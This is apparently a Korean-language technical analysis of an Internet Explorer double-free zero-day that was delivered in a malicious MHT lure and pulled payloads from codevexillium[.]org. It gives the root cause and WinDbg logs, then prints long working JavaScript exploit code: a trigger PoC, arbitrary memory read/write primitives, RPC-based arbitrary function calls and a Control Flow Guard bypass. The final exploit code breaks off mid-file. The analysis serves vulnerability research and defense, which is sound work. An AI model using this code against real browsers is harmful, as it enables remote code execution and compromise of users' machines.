Content
Overview
Initial Attack
공격자는 크롬 공격 코드를 macOS 대상으로 변경하는 작업 참여를 요구하며 크롬 취약점 코드를 담고 있는 문서로 “Chrome_85_RCE_Full_Exploit_Code.mht” 파일을 전달해왔습니다. 파일은 Internet Explorer 브라우저를 이용해 방문한 웹 사이트를 로컬 저장 시 사용되는 MHTML 파일입니다.
해당 파일은 크롬에서 일부 내용을 확인할 수 있으나 자바 스크립트 기능을 활성화하고 버튼 액션이 동작할 때 글의 내용을 온전히 읽을 수 있게 제작되었습니다. 이것은 공격 대상이 Internet Explorer 브라우저를 사용하도록 유도한 것으로 추정됩니다.
스크립트 실행이 허용되면 원격지(codevexillium[.]org)에서 추가 페이로드를 2회 다운로드하며 2차 페이로드에는 Internet Explorer 브라우저의 취약점을 공격하는 공격 코드가 담겨있습니다.
Exploit Analysis
Root Cause Analysis
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> /* IE Double Free 0day PoC extracted from "Chrome_85_RCE_Full_Exploit_Code.mht" malware Tested on Windows 10 Pro 19042.746, IE11, x64 (20e0.2140): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. jscript9!Js::DataView::SetValue<int,int *>+0x48: 6c903c89 890411 mov dword ptr [ecx+edx],eax ds:002b:41414141=???????? 1:023:x86> r eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=05cfb210 edi=05bacda8 eip=6c903c89 esp=05bacd5c ebp=05bacd5c iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010202 1:023:x86> vertarget Windows 10 Version 19042 MP (8 procs) Free x64 Product: WinNt, suite: SingleUserTS Edition build lab: 19041.1.amd64fre.vb_release.191206-1406 */ String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } var god var fake = new ArrayBuffer(0x100) var abf = new ArrayBuffer(0x20010) var leak = alloc2() var hd0 = document.createAttribute('handle') var hd1 = document.createAttribute('handle') var hd2 var ele = document.createElement('element') var att = document.createAttribute('attribute') att.nodeValue = { valueOf: function() { hd1.nodeValue = (new alloc1()).nodeValue ele.clearAttributes() hd2 = hd1.cloneNode() ele.setAttribute('attribute', 1337) } } ele.setAttributeNode(att) ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2)) ele.removeAttributeNode(att) hd0.nodeValue = leak var memory = new Uint32Array(dump(hd2.nodeValue))[6] var VT_I4 = 0x3 var VT_DISPATCH = 0x9 var VT_BYREF = 0x4000 var tmp = new Array(0x10) var mem = new Uint32Array(fake) for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, memory + i * 4)) flush() var ref = new VBArray(hd0.nodeValue) for (var i = 0; i < 0x10; ++i) tmp[i] = ref.getItem(i + 1) ref = null setData(1, new Data(VT_BYREF | VT_I4, tmp[4])) setData(2, new Data(VT_BYREF | VT_I4, tmp[4] + 0x04)) setData(3, new Data(VT_BYREF | VT_I4, tmp[4] + 0x1c)) flush() ref = new VBArray(hd0.nodeValue) var vt = ref.getItem(1) var gc = ref.getItem(2) var bs = ref.getItem(3) ref = null for (var i = 0; i < 16; ++i) mem[i] = tmp[i] mem[4] = bs + 0x40 mem[16] = vt mem[17] = gc mem[24] = 0xffffffff setData(1, new Data(VT_DISPATCH, bs)) flush() ref = new VBArray(hd0.nodeValue) god = new DataView(ref.getItem(1)) ref = null write(0x41414141, 0x42424242, 32) </script> </body> </html>
위는 취약점 근본 원인을 분석하기 위해 공격 코드에서 추출한 버그를 트리거 하는 PoC 코드입니다. 분석 결과 공격자가 사용한 버그는 DOM 오브젝트의 어트리뷰트 값 해제 부분에서 발생하는 Double Free 버그로 확인됐습니다.
eax=0eab29a4 ebx=0bdbb518 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb4cc eip=75594d20 esp=0bdbb4c4 ebp=0bdbb4d4 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbb4c4 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in busy allocation ( DPH_HEAP_BLOCK: UserAddr UserSize - VirtAddr VirtSize) 12560f70: 12564ff0 20010 - 12564000 22000 6e1194ec verifier!AVrfDebugPageHeapAllocate+0x0000023c 778c158b ntdll!RtlDebugAllocateHeap+0x0000003c 77881445 ntdll!RtlpAllocateHeap+0x00065745 7781ad5e ntdll!RtlAllocateHeap+0x0000013e 76dab056 combase!CRetailMalloc_Alloc+0x00000016 [d:\blue\com\combase\class\memapi.cxx @ 641] 75595174 OLEAUT32!APP_DATA::AllocCachedMem+0x0000005f 7559524f OLEAUT32!SysAllocString+0x0000007f 665249eb MSHTML!FormsAllocStringW+0x00000015 66bcaafe MSHTML!CAttrArray::Set+0x00000255 66b5f589 MSHTML!CBase::InvokeAA+0x0000010e 66b5ecc0 MSHTML!CElement::ie9_setAttributeNSInternal+0x00000222 66816392 MSHTML!CElement::Var_setAttribute+0x00000152 668163f4 MSHTML!CFastDOM::CElement::Trampoline_setAttribute+0x00000044 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bc9b500 6dbf32d6 OLEAUT32!SysFreeString 01 0bc9b514 66b83950 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bc9b540 66f29271 MSHTML!CAttrArray::Free+0x117 03 0bc9b56c 66f376ad MSHTML!CAttrArray::Clear+0xeb 04 0bc9b5ac 6724a6c2 MSHTML!CElement::clearAttributes+0xfd 05 0bc9b5c8 661e6eee MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x32 06 0bc9b604 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbb45c eip=75594d20 esp=0bdbb454 ebp=0bdbb464 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=00000000 ebx=00000008 ecx=0bdbb540 edx=01000000 esi=00000000 edi=0bdbb540 eip=75594d20 esp=0bdbb4c8 ebp=0bdbb4e0 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> g Breakpoint 1 hit eax=0eab29a4 ebx=00000000 ecx=75594d20 edx=00000010 esi=75594d20 edi=0bdbbbf8 eip=75594d20 esp=0bdbbbf0 ebp=0bdbbc00 iopl=0 nv up ei pl zr na pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000247 OLEAUT32!SysFreeString: 75594d20 8bff mov edi,edi 0:010> dd esp l2 0bdbbbf0 6dbf32d6 12564ff4 0:010> !heap -p -a 12564ff4-4 address 12564ff0 found in _DPH_HEAP_ROOT @ 3971000 in free-ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize) 12560f70: 12564000 22000 6e119712 verifier!AVrfDebugPageHeapFree+0x000000c2 778c1da2 ntdll!RtlDebugFreeHeap+0x0000003c 778805db ntdll!RtlpFreeHeap+0x00066d3b 778194d8 ntdll!RtlFreeHeap+0x00000478 76daafcb combase!CRetailMalloc_Free+0x0000001b [d:\blue\com\combase\class\memapi.cxx @ 687] 755950ad OLEAUT32!APP_DATA::FreeCachedMem+0x000000a7 755fae5d OLEAUT32!SysFreeStringImpl+0x0000007d 755faeca OLEAUT32!SysReleaseString+0x0000001a 755c6b3e OLEAUT32!SysFreeString+0x00000013 6dbf32d6 IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x00000026 66b83950 MSHTML!CAttrArray::Free+0x00000117 66f29271 MSHTML!CAttrArray::Clear+0x000000eb 66f376ad MSHTML!CElement::clearAttributes+0x000000fd 6724a6c2 MSHTML!CFastDOM::CHTMLElement::Trampoline_clearAttributes+0x00000032 661e6eee jscript9!Js::JavascriptFunction::CallFunction<0>+0x00000069 0:010> k # ChildEBP RetAddr 00 0bbbbb0c 6dbf32d6 OLEAUT32!SysFreeString 01 0bbbbb20 669f5adf IEShims!NS_ATLMitigation::APIHook_SysFreeString+0x26 02 0bbbbb30 6656601b MSHTML!CAttrValue::Free+0x5c 03 0bbbbb74 670178d1 MSHTML!CAttrArray::Destroy+0x7f 04 0bbbbb84 66f40b41 MSHTML!CBase::DeleteAt+0x2b 05 0bbbbbdc 66f4094b MSHTML!CElement::ie9_removeAttributeNodeInternal+0x1a1 06 0bbbbc24 67258afd MSHTML!CElement::ie9_removeAttributeNode+0xbb 07 0bbbbc70 661e6eee MSHTML!CFastDOM::CElement::Trampoline_removeAttributeNode+0x6d 08 0bbbbcac 662acaa3 jscript9!Js::JavascriptFunction::CallFunction<0>+0x69
디버깅 로그에서 이미 할당 해제된 힙 영역을 OLEAUT32!SysFreeString
함수로 다시 한번 할당 해제하는 것을 확인할 수 있습니다. OLEAUT32!SysFreeString
API는 DOM 오브젝트에 바인드 되는 문자열 데이터의 어트리뷰트를 해제할 때 사용되는데, 해당 API는 내부적으로 APP_DATA::FreeCachedMem
함수를 통해 해제 대상 메모리를 관리합니다.
이때, 0x8000 크기 이상의 데이터는 APP_DATA
메모리 관리자의 캐쉬 기능을 거치지 않고, 기본 프로세스 힙 메모리 관리자를 통해 요청 즉시 해제되기 때문에, 현재 IE 브라우저에 적용되는 Isolated Heap
과 Delayed free
등의 메모리 보호 기능의 영향을 받지 않게 됩니다.
Arbitrary Memory R/W
var abf = new ArrayBuffer(0x20010) var fake = new ArrayBuffer(0x100) function alloc1() { // allocate 0x20010 var view = new DataView(abf) var str = '' for (var index = 4; index < abf.byteLength - 2; index += 2) str += '%u' + pad0(view.getUint16(index, true).toString(16)) var result = document.createAttribute('alloc1') result.nodeValue = unescape(str) return result } function alloc2() { // allocate 0x20010 var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, [{}]) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) var reseult = document.createAttribute('alloc2') result.nodeValue = dic1.items() return result }
더블 프리 버그로 인해, alloc1
과 alloc2
함수는 서로 다른 타입의 객체를 사용하지만, 같은 메모리 주소 공간에 데이터를 할당하게 되어 Type Confusion 조건을 얻을 수 있습니다.
추가 공격 코드 실행을 위해 공격자는 버퍼 주소 0x0, 사이즈 0x7FFFFFFF를 갖는 Fake ArrayBuffer를 생성한 후 프로세스의 유저 공간 전체 메모리를 읽고 쓸 수 있는 DataView 오브젝트를 생성합니다.
var dv = new DataView(fake_unlimit_arraybuffer) function read(addr, size) { switch (size) { case 8: return dv.getUint8(addr) case 16: return dv.getUint16(addr, true) case 32: return dv.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return dv.setUint8(addr, value) case 16: return dv.setUint16(addr, value, true) case 32: return dv.setUint32(addr, value, true) } } write(0x41414141, 0x42424242, 32) /* First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=42424242 ebx=00000001 ecx=00000000 edx=41414141 esi=41414141 edi=42424242 eip=663c5565 esp=0899b89c ebp=0899b89c iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202 jscript9!Js::DataView::SetValue<int,int *>+0x3a: 663c5565 890411 mov dword ptr [ecx+edx],eax ds:0023:41414141=???????? */
DataView 생성 후, read/write 유틸리티 함수를 이용해 임의의 API를 호출할 수 있도록 추가 작업을 진행합니다.
Arbitrary Function Call
function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && findPEbase(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function findPEbase(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) }
프로세스 메모리 전체에 접근이 가능한 상황에서 공격자는 위와 같이 유틸리티 함수를 구현하여 프로세스 내부 상황을 분석하고 임의로 필요한 API들을 호출할 수 있도록 준비합니다.
이번 공격 코드의 경우 Control Flow Guard가 적용되어 있을 경우, 해당 보호 기법을 우회하며, 공격자는 임의 API 호출을 위해 윈도우 운영체제에서 제공하는 RPC 매커니즘을 악용합니다.
위와 같이 메모리를 구성하여 공격자는 rpcrt4!NdrServerCall2(...)
함수를 시작으로, rpcrt4!Invoke(...)
함수를 통해, 임의의 API에 자유롭게 인자를 전달하여 호출할 수 있었습니다.
CFastDOM::ValidateCall
, Control Flow Guard
등 보호 기법들을 무력화하고 쉘코드를 실행하는 PoC 공격 코드는 다음과 같습니다.
<!doctype html> <html lang="en"> <head> <meta http-equiv="Cache-Control" content="no-cache"> </head> <body> <script language="javascript"> String.prototype.repeat = function (size) { return new Array(size + 1).join(this) } function pad0(str) { return ('0000' + str).slice(-4) } function alloc1() { var view = new DataView(abf) var str = '' for (var i = 4; i < abf.byteLength - 2; i += 2) str += '%u' + pad0(view.getUint16(i, true).toString(16)) var result = document.createAttribute('alloc') result.nodeValue = unescape(str) return result } function alloc2() { var dic1 = new ActiveXObject('Scripting.Dictionary') var dic2 = new ActiveXObject('Scripting.Dictionary') dic2.add(0, 1) dic1.add(0, dic2.items()) dic1.add(1, fake) dic1.add(2, arr) for (i = 3; i < 0x20010 / 0x10; ++i) dic1.add(i, 0x12341234) return dic1.items() } function dump(nv) { var ab = new ArrayBuffer(0x20010) var view = new DataView(ab) for (var i = 0; i < nv.length; ++i) view.setUint16(i * 2 + 4, nv.charCodeAt(i), true) return ab } function Data(type, value) { this.type = type this.value = value } function setData(i, data) { var arr = new Uint32Array(abf) arr[i * 4] = data.type arr[i * 4 + 2] = data.value } function flush() { hd1.nodeValue = (new alloc1()).nodeValue hd2.nodeValue = 0 hd2 = hd1.cloneNode() } function read(addr, size) { switch (size) { case 8: return god.getUint8(addr) case 16: return god.getUint16(addr, true) case 32: return god.getUint32(addr, true) } } function write(addr, value, size) { switch (size) { case 8: return god.setUint8(addr, value) case 16: return god.setUint16(addr, value, true) case 32: return god.setUint32(addr, value, true) } } function writeData(addr, data) { for (var i = 0; i < data.length; ++i) write(addr + i, data[i], 8) } function addrOf(obj) { arr[0] = obj return read(pArr, 32) } function strcmp(str1, str2) { str1 = (typeof str1 == 'string') ? str1 : toStr(str1) str2 = (typeof str2 == 'string') ? str2 : toStr(str2) return str1.toLowerCase() == str2.toLowerCase() } function memcpy(dst, src, size) { for (var i = 0; i < size; ++i) write(dst + i, read(src + i, 8), 8) } function toStr(addr) { var str = '' while (true) { var c = read(addr, 8) if (c == 0) break str += String.fromCharCode(c) addr++ } return str } function newStr(str) { var buffer = createArrayBuffer(str.length + 1) for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8) write(buffer + i, 0, 8) return buffer } function getDllBase(base, name) { var tmpValue = 0 var index = 0 var iat = base + read(base + read(base + 60, 32) + 128, 32) while (true) { var offset = read(iat + index * 20 + 12, 32) if (strcmp(base + offset, name)) break index++ } var addr = read(iat + index * 20 + 16, 32) return getBase(read(base + addr, 32)) } function getBase(addr) { var addr = addr & 0xffff0000 while (true) { if (isMZ(addr) && isPE(addr)) break addr -= 0x10000 } return addr } function isMZ(addr) { return read(addr, 16) == 0x5a4d } function isPE(addr) { var sizeOfHeaders = read(addr + 60, 32) if (sizeOfHeaders > 0x600) return null var addr = addr + sizeOfHeaders if (read(addr, 32) != 0x4550) return null return addr } function winVer() { var appVersion = window.navigator.appVersion var ver = 0 if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) { ver = 100 } else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) { ver = 81 } else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) { ver = 80 } else { ver = 70 } return ver } function createArrayBuffer(size) { var ab = new ArrayBuffer(size) var bs = read(addrOf(ab) + 0x1c, 32) map.set(bs, ab) return bs } function getProcAddr(addr, name) { var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32) var non = read(eat + 0x18, 32) var aof = addr + read(eat + 0x1c, 32) var aon = addr + read(eat + 0x20, 32) var aono = addr + read(eat + 0x24, 32) for (var i = 0; i < non; ++i) { var offset = read(aon + i * 4, 32) if (strcmp(addr + offset, name)) break } var offset = read(aono + i * 2, 16) return addr + read(aof + offset * 4, 32) } function readyRpcCall(func) { var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation') var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo') var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable') write(RPC_DISPATCH_TABLE_Buffer, func, 32) } function setArgs(args) { var buffer = createArrayBuffer(48) for (var i = 0; i < args.length; ++i) { write(buffer + i * 4, args[i], 32) } _RPC_MESSAGE.set(msg, 'Buffer', buffer) _RPC_MESSAGE.set(msg, 'BufferLength', 48) _RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000) return buffer } function callRpcFreeBufferImpl() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') _RPC_MESSAGE.set(rpcFree, 'Buffer', buffer) return call(rpcFree) } function callRpcFreeBuffer() { var buffer = _RPC_MESSAGE.get(msg, 'Buffer') var result = read(buffer, 32) callRpcFreeBufferImpl() return result } function call2(func, args) { readyRpcCall(func) var buffer = setArgs(args) call(msg) map.delete(buffer) return callRpcFreeBuffer() } function call(addr) { var result = 0 write(paoi + 0x18, addr, 32) try { xyz.normalize() } catch (error) { result = error.number } write(paoi + 0x18, patt, 32) return result } function prepareCall(addr, func) { var buf = createArrayBuffer(cattr.size()) var vft = read(patt, 32) memcpy(addr, patt, cbase.size()) memcpy(buf, vft, cattr.size()) cbase.set(addr, 'pvftable', buf) cattr.set(buf, 'normalize', func) } function createBase() { var isWin7 = winVer() == 70 var size = isWin7 ? 560 : 572 var offset = isWin7 ? 540 : 548 var addr1 = createArrayBuffer(size + cbase.size()) var addr2 = createArrayBuffer(48) write(addr1 + offset, addr2, 32) write(addr2 + 40, 8, 32) write(addr2 + 36, 8, 32) return { size: size, addr: addr1 } } function aos() { var baseObj = createBase() var addr = baseObj.addr + baseObj.size var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection') prepareCall(addr, I_RpcTransServerNewConnection) return read(read(call(addr)-0xf8, 32), 32) } function SymTab(size, sym) { this.size = function() { return size } this.set = function(addr, name, value) { var o = sym[name] write(addr + o.offset, value, o.size) } this.get = function(addr, name) { var o = sym[name] return read(addr + o.offset, o.size) } } function initRpc() { var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0] var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2') var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate') var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree') var RPCMessageObject = createArrayBuffer(cbase.size()) var buffer = createArrayBuffer(0x100) var buffer2 = createArrayBuffer(0x200) var AttributeVtable = read(patt, 32) var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size()) var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size()) var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size()) var rpcProcStringBuffer = createArrayBuffer(data.length) writeData(rpcProcStringBuffer, data) var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size()) var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size()) var NdrServerCall2Buffer = createArrayBuffer(4) write(NdrServerCall2Buffer, NdrServerCall2, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 0x40, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2) cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68) write(RPCMessageObject + 76, 1, 32) syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b) _MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32)) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer) _MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1) RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size()) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2) PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000) _RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer) _RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer) _RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16) _RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000) _RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer) _RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48) return RPCMessageObject } function rpcFree() { var Cbase = createArrayBuffer(cbase.size()) var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer') var MSHTMLSymbolBuffer = createArrayBuffer(0x1000) var AttributeVtable = read(patt, 32) write(MSHTMLSymbolBuffer, osf_vft, 32) write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32) write(MSHTMLSymbolBuffer + 8, 64, 32) cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard')) cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf')) cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId')) cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer) cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer) cbase.set(Cbase, 'pSecurityContext', Cbase + 68) write(Cbase + 76, 1, 32) return Cbase } function CFGObject(baseAddress) { var PEAddr = isPE(baseAddress) var eat = PEAddr + 120 var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32) var size = read(LOAD_CONFIG_DIRECTORY, 32) var sizeOfImage = read(PEAddr + 0x50, 32) var CFGSymbolTable = new SymTab(0x5c, { '___guard_check_icall_fptr': { offset: 72, size: 32 } }) var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr') this.getCFGAddress = function() { return guard_check_icall_fptr_address } this.getCFGValue = function() { if (size < CFGSymbolTable.size()) return false var currentCFGValue = read(guard_check_icall_fptr_address, 32) var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage) return !isValidAddress; } } function killCfg(addr) { var cfgobj = new CFGObject(addr) if (!cfgobj.getCFGValue()) return var guard_check_icall_fptr_address = cfgobj.getCFGAddress() var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet') var tmpBuffer = createArrayBuffer(4) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer]) write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32) call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer]) map.delete(tmpBuffer) } var cbase = new SymTab(0x60, { 'pvftable': { offset: 0x0, size: 32 }, 'pSecurityContext': { offset: 0x44, size: 32 } }) var cattr = new SymTab(0x32c, { '__vtguard': { offset: 0x48, size: 32 }, 'SecurityContext': { offset: 0xc8, size: 32 }, 'JSBind_TypeId': { offset: 0x160, size: 32 }, 'JSBind_InstanceOf': { offset: 0x164, size: 32 }, 'normalize': { offset: 0x28c, size: 32 } }) var syntaxObject = new SymTab(0x14, { 'SyntaxVersion.MajorVersion': { offset: 0x10, size: 16 } }) var PRPC_CLIENT_INTERFACE = new SymTab(0x44, { 'Length': { offset: 0, size: 32 }, 'InterfaceId.SyntaxVersion.MajorVersion': { offset: 20, size: 16 }, 'TransferSyntax.SyntaxVersion.MajorVersion': { offset: 40, size: 16 